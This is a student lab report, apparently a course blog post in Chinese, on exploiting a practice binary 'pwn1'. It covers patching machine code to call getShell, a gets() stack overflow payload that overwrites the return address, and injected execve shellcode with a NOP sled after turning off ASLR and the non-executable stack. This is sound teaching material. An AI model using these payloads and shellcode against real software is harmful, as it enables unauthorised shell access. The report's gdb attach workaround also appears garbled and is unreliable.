20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告

1. 实验内容

  • 本次实践内容说明

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

  • 三个实践内容

  1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  3. 注入一个自己制作的shellcode并运行这段shellcode。

2. 实验过程

2.1 修改机器指令改变执行流程

操作目标:不依赖漏洞,直接篡改main函数的机器码,使程序启动后直接执行getShell。

步骤2:计算“call getShell”的偏移与机器码

目标:将偏移改为“getShell地址 - 下一条指令地址”:

新偏移 = 0804847d - 080484ba = -69

十进制-69转换为32位十六进制补码:0xffffffc3,因此“call getShell”的机器码为e8 c3 ff ff ff。

步骤3:生成修改副本并编辑机器码

为避免破坏原始文件,复制生成含学号的副本pwn20232326zsm,并修改其机器码:

# 复制原始文件为副本
cp pwn1 pwn20232326zsm
# 使用vi+xxd编辑副本(十六进制模式)
vi pwn20232326zsm
# 1. 切换为十六进制显示
:%!xxd
# 2. 搜索原机器码“e8d7”(call foo的操作码+偏移前两位)
/e8d7
# 3. 修改偏移:将“d7”改为“c3”(原机器码e8d7ffff → 新机器码e8c3ffff)
# 4. 转回二进制格式
:%!xxd -r
# 5. 保存退出
:wq

e8bbe76ac74b9c60984e0e742ac6684d

  • 这里遇到了文件权限不够的问题,修改pwn20232326zsm文件的的权限为777 最高权限

ea01b1d936ae955ff7e5c2b0a37f0bb4

步骤4:验证修改结果

# 反汇编副本,确认call指令是否指向getShell
objdump -d pwn20232326zsm | grep -A 1 "call"
# 运行副本,验证是否直接获取Shell
./pwn20232326zsm
  • 运行后直接出现#提示符,输入ls可查看目录文件。

9f2c732cf2415952a333ff73028eac5e

b2db5bdef7718a58dadc65e37f952503

2.2 BOF攻击构造输入改变执行流

操作目标:利用foo函数的gets缓冲区溢出漏洞,通过构造输入覆盖返回地址,让程序执行getShell。

步骤1:分析foo函数的缓冲区与堆栈布局

# 反汇编pwn20232326zsm-2,查看foo函数的栈帧分配
objdump -d pwn20232326zsm-2 | grep -A 10 "foo"

image

关键输出与堆栈分析

08048491 <foo>:
 8048491:	55                   	push   %ebp          # 保存ebp到栈
 8048492:	89 e5                	mov    %esp,%ebp     # ebp = esp(栈帧基址)
 8048494:	83 ec 38             	sub    $0x38,%esp    # 栈帧分配0x38(56字节)空间
 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax  # 缓冲区起始地址:ebp-0x1c(28字节)
 804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>  # 调用gets读取输入(无边界检查)
  • 缓冲区大小:ebp-0x1c到ebp共28字节(输入超过此长度会溢出);
  • 覆盖返回地址需填充:缓冲区28字节 + ebp4字节 = 32字节填充,第33-36字节为返回地址(需改为getShell地址)。

步骤2:用GDB调试确认返回地址覆盖位置

# 启动GDB调试原始文件
gdb pwn20232326zsm-2
# 运行程序
(gdb) r
# 输入测试字符串:32个填充字符(分4组便于定位)+ 4个标记字符(1234)
1111111122222222333333334444444412345678
# 程序因溢出崩溃后,查看eip寄存器(指令指针,即返回地址)
(gdb) info r eip
  • eip值为0x34333231(对应字符“4321”的ASCII码),证明第33-36字节(标记字符“1234”)成功覆盖返回地址。

image

步骤3:构造BOF攻击Payload

# 生成攻击输入文件input_bof_20232326:
# 32字节填充(A) + getShell地址(\x7d\x84\x04\x08) + 回车(\x0a,模拟手动回车)
perl -e 'print "A"x32 . "\x7d\x84\x04\x08\x0a"' > input_bof_20232326
# 验证Payload格式(查看末尾是否包含getShell地址)
xxd input_bof_20232326
  • xxd输出末尾显示7d84 0408 0a,与getShell地址的小端序及回车符一致。
    image
    image

步骤4:触发BOF攻击

# 通过管道将Payload输入原始文件,保持Shell交互(避免攻击后Shell退出)
(cat input_bof_20232326; cat) | ./pwn20232326zsm-2
  • 程序触发缓冲区溢出,返回地址被覆盖为getShell地址,执行后出现#提示符,输入ls可查看目录。
    image

2.3 注入Shellcode并执行

操作目标:向程序注入自定义Shellcode,通过BOF攻击触发其执行,实现“不依赖程序自带getShell”的漏洞利用。

步骤1:关闭防御机制

  • 关闭系统防御:默认情况下,Linux堆栈不可执行且开启地址随机化(ASLR),需关闭以确保Shellcode可执行:
    # 1. 设置堆栈可执行(execstack -s 目标文件)
    execstack -s pwn20232326zsm-2
    # 验证设置:输出“X pwn20232326zsm-2”表示堆栈可执行
    execstack -q pwn20232326zsm-2
    # 2. 关闭ASLR(地址随机化,避免Shellcode地址变化)
    echo "0" > /proc/sys/kernel/randomize_va_space
    # 验证设置:输出“0”表示ASLR关闭
    more /proc/sys/kernel/randomize_va_space
    
    image

步骤2:调试获取Shellcode的滑行区地址

由于Shellcode需通过返回地址指向,需先确定其在堆栈中的位置(通过“滑行区”提高兼容性):

  1. 生成临时Payload(含占位返回地址,用于定位):

    perl -e 'print "A"x32 . "\x01\x02\x03\x04" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > temp_input_20232326
    
    • \x01\x02\x03\x04:占位返回地址,便于GDB定位;
    • \x90:NOP空指令(滑行区),即使地址略有偏差,也能“滑”到Shellcode。
      image
  2. GDB调试定位

    • 终端1:启动攻击进程(阻塞等待调试):

      (cat temp_input_20232326; cat) | ./pwn20232326zsm-2
      

      image

    • 终端2:查找进程号并附加GDB:

      # 查找pwn20232326zsm-2的进程号
      ps -ef | grep pwn20232326zsm-2
      # 附加调试
      gdb
      (gdb) attach 3256
      # 反汇编foo函数,在ret指令处设断点(ret执行前,堆栈已加载Payload)
      (gdb) disassemble foo
      (gdb) break *0x080484ae  # ret指令地址
      (gdb) c  # 继续运行程序
      

      image

  • 这里遇到了不允许attach的错误,查询后使用下面的命令解决了
    bash ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2)
    image

    • 终端1:按回车触发断点,回到终端2查看堆栈:
      # 查看当前栈指针esp
      (gdb) info r esp
      # 查看esp附近16字节内存,找到占位地址0x01020304
      (gdb) x/16x $esp
      
      • 占位地址0x01020304后方为NOP区域(0x90909090),记录NOP区域的起始地址(0xffffd2dc)作为滑行区地址。
        image
        image

    步骤3:构造Shellcode注入Payload

    # 生成Shellcode输入文件input_shellcode_20232326:
    # 32字节填充(A) + 滑行区地址(\x20\xd3\xff\xff) + NOP滑行区(10个) + Shellcode
    perl -e 'print "A"x32 . "\x20\xd3\xff\xff" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode_20232326
    

    步骤4:触发Shellcode执行

    (cat input_shellcode_20232326; cat) | ./pwn20232326zsm-2
    
    • 程序执行到返回地址时,跳转到NOP滑行区,最终执行Shellcode,弹出#提示符,输入ls可查看目录。
      image

    3. 问题及解决方案

    1. 问题1:在修改 pwn20232326zsm 文件机器码时,遇到文件权限不够的情况,无法正常编辑该文件。
      解决方案:修改 pwn20232326zsm 文件的权限为最高权限777,使用命令 chmod 777 pwn20232326zsm,以便能够对文件进行编辑操作。

    2. 问题2:在使用 gdb 调试附加进程时,出现不允许 attach 的错误,无法正常附加到目标进程 pwn20232326zsm-2 进行调试。
      解决方案:采用命令 ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2) 来解决,通过先让目标进程在后台运行,然后使用 gdb 结合进程号来正确附加并进行调试。

    3. 问题3:默认情况下,Linux系统开启了诸如堆栈不可执行以及地址随机化(ASLR)等防御机制,这会影响Shellcode的执行,导致无法按预期利用漏洞。
      解决方案

      • 关闭堆栈不可执行:使用命令 execstack -s pwn20232326zsm-2 设置堆栈可执行,并通过 execstack -q pwn20232326zsm-2 验证设置,若输出“X pwn20232326zsm-2”则表示堆栈可执行。
      • 关闭地址随机化(ASLR):执行命令 echo "0" > /proc/sys/kernel/randomize_va_space 关闭 ASLR,再用 more /proc/sys/kernel/randomize_va_space 验证设置,输出“0”表示 ASLR 已成功关闭,以此确保Shellcode可执行以及其地址的稳定性,便于后续的漏洞利用操作。

    4. 学习感悟与思考

    在实验开始阶段,由于对反汇编分析和堆栈结构理解不足,操作过程较为生疏,需要通过反复调试和查阅资料询问AI来验证每个步骤。随着实验的深入,我逐步掌握了函数栈帧布局特征、返回地址定位方法、Shellcode构造技术等关键知识点,并能够独立完成从漏洞分析到利用的全过程。特别是在动态调试环节,通过GDB工具观察内存状态、设置断点跟踪执行流程,使我对程序运行时的内存管理机制有了更直观的认识。这种从理论到实践的转化过程,加深了我对计算机系统底层工作原理的理解。这次实验也让我意识到,网络攻防实验需要提前预习做好准备,希望通过后面的学习能逐步掌握网络攻防的核心技能。

    参考资料

    1. Gitee 逆向与Bof基础实验指南
    2. 缓冲区溢出全解
posted @ 2025-10-12 22:28  20232326朱思敏  阅读(21)  评论(0)    收藏  举报